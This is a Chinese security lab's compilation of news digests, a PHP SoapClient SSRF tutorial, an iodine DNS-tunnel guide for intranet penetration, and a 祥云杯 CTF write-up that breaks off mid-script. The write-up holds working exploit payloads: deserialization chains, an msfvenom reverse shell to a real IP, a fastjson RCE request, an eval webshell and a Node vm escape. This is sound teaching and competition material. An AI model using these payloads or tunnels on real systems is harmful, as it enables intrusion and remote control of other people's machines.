网络安全日报 2021年08月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、FBI 共享"HIVE"勒索软件的 IOC https://www.securityweek.com/fbi-shares-iocs-hive-ransomware-attacks 2、Annke 视频监控产品高危漏洞可被远程攻击 https://www.securityweek.com/vulnerability-allows-remote-hacking-annke-video-surveillance-product 3、Azure Cosmos DB 存在未授权即可接管的严重漏洞 https://www.securityweek.com/critical-vulnerability-exposed-azure-cosmos-dbs-months 4、一些 Synology 产品受到最近披露的 OpenSSL 漏洞影响 https://securityaffairs.co/wordpress/121600/security/synology-synology-openssl-flaws.html 5、EskyFun 遭数据泄露,超过 100 万玩家受到影响 https://securityaffairs.co/wordpress/121589/data-breach/eskyfun-data-leak.html 6、研究人员演示了万事达和Visa卡PIN绕过攻击 https://securityaffairs.co/wordpress/121571/hacking/pin-bypass-attack-mastercard-maestro.html 7、Ragnarok 勒索软件停止运营并发布了解密密钥 https://securityaffairs.co/wordpress/121512/cyber-crime/ragnarok-ransomware-master-key.html 8、Verizon移动消息服务Vzwpix被利用于网络钓鱼 https://cofense.com/blog/mobile-messaging-phish/ 9、Parallels Desktop针对其权限提升漏洞发布解决方法 https://threatpost.com/parallels-inconvenient-fix/168997/ 10、波士顿公共图书馆遭到网络攻击导致系统中断 https://www.bleepingcomputer.com/news/security/boston-public-library-discloses-cyberattack-system-wide-technical-outage/
SoapClient原生类在开发以及安全中利用
Soap模块的安装: PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。 SoapClient原生类介绍: SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。 SoapClient原生类官方介绍如下: class SoapClient {    /* Methods */    public __construct(?string $wsdl, array $options = [])    public __call(string $name, array $args): mixed    public __doRequest(        string $request,        string $location,        string $action,        int $version,        bool $oneWay = false   ): ?string    public __getCookies(): array    public __getFunctions(): ?array    public __getLastRequest(): ?string    public __getLastRequestHeaders(): ?string    public __getLastResponse(): ?string    public __getLastResponseHeaders(): ?string    public __getTypes(): ?array    public __setCookie(string $name, ?string $value = null): void    public __setLocation(?string $location = null): ?string    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool    public __soapCall(        string $name,        array $args,        ?array $options = null,        SoapHeader|array|null $inputHeaders = null,        array &$outputHeaders = null   ): mixed } 可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。 SoapClient在开发中的应用 wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。 用一个实例代码介绍一下wsdl参数: <?php    $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";    $client = new SoapClient($url);    $params = array(        "qqCode" => "1043045300"   );    $result = $client->qqCheckOnline($params);    print_r($result); ?> 执行结果如下: stdClass Object (   [qqCheckOnlineResult] => Y ) 其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线 当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法: <?php    $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";    $client = new SoapClient($url);    print_r($client->__getTypes());    print_r($client->__getFunctions()); ?> 执行结果如下: Array (   [0] => struct qqCheckOnline { string qqCode; }   [1] => struct qqCheckOnlineResponse { string qqCheckOnlineResult; } ) Array (   [0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)   [1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters) ) 根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。 但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。 有关设置HTTP请求头的下面的篇幅会讲到。 SoapClient在安全中的应用 由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。 因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。 这种时候,SoapClient正好可以给我们解决问题。 下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。 首先题目是给了flag.php的源码,源码如下: $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } } 打开题目后,内容如下: <?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); 我们先审计flag.php,前半部分是对XFF头进行了处理: $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); explode() 函数可以把字符串打散为数组。 array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。 这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。 假如我们有以下代码: <?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip); 当我们XFF传入以下内容: 127.0.0.1 #返回:空127.0.0.1,127.0.0.2 #返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2 接下来我们审计index.php的代码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag(); 可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php 接下来,我们手动在本地做测试: 我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分: <?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag(); 然后我们nc监听9999端口 nc -lvvp 9999 刷新页面之后,可以得到以下请求内容: 仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的 但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded) 因此我们可以想办法伪造User-Agent头: 修改后的代码如下: <?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag(); nc监听后,得到的结果如下: 可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数 当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造 再次修改后的代码如下: <?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag(); 代码中有几个注意的点 因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹 HTTP请求头之间的参数用一组\r\n分割即可 HTTP请求头与POSTDATA之间要用两个\r\n分割. 设置User-Agent时,应写成user_agent 同样的,nc监听后,结果如下: 其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。 在本地测试完成了,接下来我们将相关参数修改与题目相对应。 修改后的payload如下: <?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlenco 得到结果: O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application% 然后传入payload: ?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+applica 这样flag就被写到了flag.txt中,访问之后即可拿到flag: 但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。 不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。 实验名称:https://www.yijinglab.com/expc.do?ce=0fbc7585-56ba-4598-87ce-bd8e7504d00b
网络安全日报 2021年08月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Atlassian 修补 Confluence 中的高危代码执行漏洞 https://www.securityweek.com/atlassian-patches-critical-code-execution-vulnerability-confluence 2、Microsoft 发布有关 ProxyShell 漏洞的指南 https://www.securityweek.com/microsoft-issues-guidance-proxyshell-vulnerabilities 3、思科修补数据中心产品中的严重漏洞 https://securityaffairs.co/wordpress/121485/breaking-news/cisco-apic-flaw.html 4、CISA 发布针对 Pulse Secure 设备的恶意软件分析报告 https://securityaffairs.co/wordpress/121492/security/pulse-secure-cisa-mars.html 5、约会应用 Bumble 中的"三角测量"漏洞可定位用户精确位置 https://portswigger.net/daily-swig/trilateration-vulnerability-in-dating-app-bumble-leaked-users-exact-location 6、Kaseya 修补 Unitrends 服务器零日漏洞 https://www.bleepingcomputer.com/news/security/kaseya-patches-unitrends-server-zero-days-issues-client-mitigations 7、三星证实手机默认应用将停止展示广告 https://www.theverge.com/2021/8/18/22630332/samsung-ads-default-stock-apps-weather-pay-theme-confirmed 8、Poly Network向归还数字货币的黑客发放奖金和Offer https://www.bleepingcomputer.com/news/security/hacker-gets-500k-reward-for-returning-stolen-cryptocurrency/ 9、美国白宫与微软、谷歌等多家公司商议共同改善国家网络安全 https://www.freebuf.com/news/286317.html 10、工信部通报下架67款侵害用户权益APP https://www.freebuf.com/news/286230.html
内网渗透之DNS隧道搭建(1)
前言 年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。 DNS隧道介绍 DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。 DNS隧道搭建工具推荐 DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。 前置准备 因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例: 第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx" 第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。 最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。 配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。 iodine进行隧道搭建 1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。 apt-get install iodine 2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址: iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD #-f:在前台运行 #-c:禁止检查所有传入请求的客户端IP地址。 #-P:客户端和服务端之间用于验证身份的密码。 #-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 #这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突 #注意!填写的地址为NS记录 3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的: iodine -f -P d1m0n dns2tcp.xxx.com  -M 200 #-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道 #-M:指定上行主机的大小。 #-m:调节最大下行分片的大小。 #-f:在前台运行 #-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。 #-O:指定数据编码规范。 #-P:客户端和服务端之间用于验证身份的密码。 #-L:指定是否开启懒惰模式,默认开启。 #-I:指定两个请求之间的时间间隔。 两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通: 到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下: ssh -N -D 8080 user@192.168.0.1 #-N 指示SSH不要启动shell,因为我们只是想创建代理 #-D 设置动态端口转发,SOCKS代理端口为8080 #user 我们服务器上的用户 #192.168.0.1 tun接口上的iodine服务器 输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4 vim /etc/proxychains4.conf 最后验证一下我们的代理有没有搭好: proxychains4 curl http://www.baidu.com 大功告成,后面就是内网漫游时间~ 实验名称:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014111916340800001
网络安全日报 2021年08月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware修复了 vRealize Operations 中的高危漏洞 https://www.securityweek.com/vmware-patches-high-severity-vulnerabilities-vrealize-operations 2、F5 修复了 BIG-IP 设备中多个高危漏洞 https://securityaffairs.co/wordpress/121454/security/f5-big-ip-critical-flaw.html 3、FIN8 最近的攻击中使用了以前未被发现的"Sardonic" 后门 https://securityaffairs.co/wordpress/121446/cyber-crime/fin8-sardonic-backdoor.html 4、ShinyHunters 声称拥有 7000 万 AT&T 客户个人信息数据 https://securityaffairs.co/wordpress/121439/data-breach/shinyhunters-70m-att-customers.html 5、Firefox 将屏蔽不安全文件下载 https://therecord.media/firefox-follows-chrome-and-prepares-to-block-insecure-downloads/ 6、继雷蛇之后,SteelSeries设备被发现可用于Windows 本地提权 https://threatpost.com/windows-10-admin-rights-steelseries-devices/168927/ 7、思科针对高端 Nexus 设备发布关键漏洞修复补丁 https://threatpost.com/cisco-issues-critical-fixes-for-high-end-nexus-gear/168939/ 8、新的 SideWalk 后门针对美国电脑零售商 https://thehackernews.com/2021/08/new-sidewalk-backdoor-targets-us-based.html 9、DLL侧加载攻击利用Windows搜索顺序注入恶意DLL https://gbhackers.com/dll-side-loading-attack/ 10、OpenSea 用户成为 Discord 网络钓鱼攻击目标以窃取加密货币 https://www.bleepingcomputer.com/news/security/fake-opensea-support-staff-are-stealing-cryptowallets-and-nfts/
祥云杯题解
bad_cat战队WRITEUP 一、 战队信息 战队名称:bad_cat 战队排名:6 二、 解题情况 三、 解题过程 web 1、**ezyii** 网上搜yii的1day https://xz.aliyun.com/t/9948#toc-6 思路类似于第四条链子 exp: <?php namespace Codeception\Extension{    use Faker\DefaultGenerator;    use GuzzleHttp\Psr7\AppendStream;    class  RunProcess{        protected $output;        private $processes = [];        public function __construct(){            $this->processes[]=new DefaultGenerator(new AppendStream());            $this->output=new DefaultGenerator('jiang');       }   }    echo base64_encode(serialize(new RunProcess())); } namespace Faker{    class DefaultGenerator {    protected $default;    public function __construct($default = null)   {        $this->default = $default; } } } namespace GuzzleHttp\Psr7{    use Faker\DefaultGenerator;    final class AppendStream{        private $streams = [];        private $seekable = true;        public function __construct(){            $this->streams[]=new CachingStream();       }   }    final class CachingStream{        private $remoteStream;        public function __construct(){            $this->remoteStream=new DefaultGenerator(false);            $this->stream=new  PumpStream();       }   }    final class PumpStream{        private $source;        private $size=-10;        private $buffer;        public function __construct(){            $this->buffer=new DefaultGenerator('j');            include("closure/autoload.php");            $a = function(){system('cat /flag.txt');};            $a = \Opis\Closure\serialize($a);            $b = unserialize($a);            $this->source=$b;       }   } } 然后post就行 flag{19fefeeb-989a-4017-8001-7af62b9e511b} 2、**层层穿透** 直接传jar可以反弹shell进内网入口 参考 https://blog.csdn.net/cainiao17441898/article/details/118877408 msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar use exploit/multi/handler set PAYLOAD java/meterpreter/reverse_tcp set lhost 82.157.25.143 set lport 11112 run -j 先监听后上传,就不会报500的错误了 此时再去submit sessions sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下 msf的upload shell执行 ./ew -s rssocks -d 82.157.25.143 -e 18888 扫描c段,看10.10.1.11:8080 post登陆 抓个包拿session Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112 源码解压看pom.xml依赖 漏洞点在fastjson, 先post admin/123456登陆 /doLogin 再参考https://github.com/safe6Sec/Fastjson 构造rce的post 注意要大于2w POST /admin/test HTTP/1.1 Host: 10.10.1.11:8080 Content-Type: application/json cmd: cat /flag Content-Length: 31124 Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112 {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400 "a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa } flag{966fc4a2-e291-4136-84be-5bfd19b949e2} 3、**安全检测** 读http://127.0.0.1读到源码 可以读到/etc/passwd http://127.0.0.1/admin/include123.php?u=/etc/passwd 读到session http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07 http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了 用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可 ls发现了/getflag.sh 因为过滤了flag,base一下才行 flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a} 4、**crawler_z** 第一次我注册的yenan/yenan,填写profile后观察url出现token1 第二次admin/admin,直接ssrf伪造/user/verify?token=token1 可以指定爬取 vps启动一个http Python -m SimpleHTTPServer 11111 然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com 读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了 <script> document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());     </script> flag{f0425be6-3e46-472a-8879-e19525839caf} 5、Secrets_Of_Admin 源码拿到 admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645 登陆 js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下 content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin&filename%3D..%2Ffiles%2Fflag&checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E 得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8} reverse 1、**Rev_APC** 生成dll代码 知道了 sha3-256,但是后面并没用上。 核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。 dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。 dll中调用DeviceIOControl,对应sys中的函数为0x140003660。 后面就是看算法了。 exp: from zio import * def fun6(a, b):    for i in range(32):        c = a[i]        if (c >= 33) & (c <= 79):            a[i] = (c - 80) & 0xff            b[i] = (b[i]+a[i])&0xff        elif (c >= 81) & (c <= 127):            a[i] = c - 48            b[i] ^= (a[i] >> 4)        elif (c > 128):            a[i] = c - 48            b[i] = (b[i]-a[i])&0xff    return a, b def defun6(a, b):    for i in range(32):        c = a[i]        if (c >= 33) & (c <= 79):            a[i] = (c - 80) & 0xff            b[i] = (b[i]-a[i])&0xff        elif (c >= 81) & (c <= 127):            a[i] = c - 48            b[i] ^= (a[i] >> 4)        elif (c > 128):            a[i] = c - 48            b[i] = (b[i]+a[i])&0xff    return a, b def fun5(a, b):    for i in range(32):        b[i] ^= a[i]    return a, b def fun4(a, b):    for i in range(32):        a[i] = (a[i] - 80) & 0xff    for i in range(16):        b[2 * i] ^= (16 * a[2 * i]) & 0xff        b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf    return a, b def fun3(a, b):    for i in range(32):        b[i] ^= a[i]    return a, b def fun2(a, b):    for i in range(32):        a[i] = (a[i] - 80) & 0xff        b[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)    return a, b def fun1(a, b):    for i in range(32):        a[i] = (a[i]+16)&0xff        b[i] ^= a[i]    return a, b def enc():    b = [ord(c) for c in 'flag{12345678901234567890123456}']    #b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]    '''   a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')   a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]   a4 = []   for i in range(32):       a4.append(ord(a3[i])^a2[i%len(a2)])   '''    a = []    a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]    for i in range(32):        c = 0        for j in range(i+1):            c ^= a2[j]        a.append(c)    orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]    print '----------'    for i in range(32):        print a,','        if orders[i] == 0:            fun1(a, b)        elif orders[i] == 1:            fun2(a, b)        elif orders[i] == 2:            fun3(a, b)        elif orders[i] == 3:            fun4(a, b)        elif orders[i] == 4:            fun5(a, b)        elif orders[i] == 5:            fun6(a, b)    print '----------'    print (b) def get_aas2(orders):    b = [ord(c) for c in 'flag{12345678901234567890123456}']    a = []    a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')    a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]    a4 = []    for i in range(32):        a4.append(ord(a3[i])^a2[i%len(a2)])    for i in range(32):        c = 0        for j in range(i+1):            c ^= a4[j]        a.append(c)    aas = []    for i in range(32):        aas.append(a[:])        if orders[i] == 0:            fun1(a, b)        elif orders[i] == 1:            fun2(a, b)        elif orders[i] == 2:            fun3(a, b)        elif orders[i] == 3:            fun4(a, b)        elif orders[i] == 4:            fun5(a, b)        elif orders[i] == 5:            fun6(a, b)    return aas def get_aas(orders):    b = [ord(c) for c in 'flag{12345678901234567890123456}']    a = []    a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]    for i in range(32):        c = 0        for j in range(i+1):            c ^= a2[j]        a.append(c)    aas = []    for i in range(32):        aas.append(a[:])        if orders[i] == 0:            fun1(a, b)        elif orders[i] == 1:            fun2(a, b)        elif orders[i] == 2:            fun3(a, b)        elif orders[i] == 3:            fun4(a, b)        elif orders[i] == 4:            fun5(a, b)        elif orders[i] == 5:            fun6(a, b)    return aas def dec(aas, orders, seed):    #b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]    #b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]    bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)    b = [ord(i) for i in bs]    re_orders = orders[::-1]    for i in range(32):        a = aas[31-i]        if re_orders[i] == 0:            fun1(a, b)        elif re_orders[i] == 1:            fun2(a, b)        elif re_orders[i] == 2:            fun3(a, b)        elif re_orders[i] == 3:            fun4(a, b)        elif re_orders[i] == 4:            fun5(a, b)        elif re_orders[i] == 5:            defun6(a, b)    #print b    s = ''.join(chr(i) for i in b)    is_printable = True    for i in range(10):        if b[i] > 0x80:            is_printable = False            break    if is_printable:        print seed, s    return is_printable def srand(s):  global seed  seed = s # microsoft c runtime implementation def rand():    global seed    seed = (seed * 214013 + 2531011) % 2**64    return (seed >> 16)&0x7fff def gen_order(seed=1):    srand(seed)    orders = []    for i in range(32):        orders.append(rand() % 6)    return orders orders = gen_order(seed=1) aas = get_aas(orders) dec(aas, orders, 1) flag{Kmode_Umode_Communication!} 2、**勒索解密** 分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0 代码如下: #coding:utf-8 import base64 from hashlib import * from Crypto.Cipher import AES def decrypt(data, key):   cryptos = AES.new(key, AES.MODE_ECB)   decrpytBytes = list(base64.b64decode(data))   decrpytBytes = bytes(decrpytBytes)   data = cryptos.decrypt(decrpytBytes)   return data key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32] key = bytes.fromhex(key) f1 = open("flag.bmp.ctf_crypter", "rb") f2 = open("flag.bmp", "wb") data = f1.read() def xor(enc, data):   res = []   for i in range(len(a)):       res += [enc[i]^data[i]]   return bytes(res)     for i in range(len(data)//16):   enc = base64.b64encode(data[16*i:16*(i+1)])   if i > 0:       ans = xor(decrypt(enc, key), data[16*(i-1):16*i])   else:       ans = decrypt(enc, key)   fp2.write(ans) f1.close() f2.close() 解密得到flag如下: 3、LightningSystem** 从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下: 求解 def brute(v4, v5, a, b, j):   should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 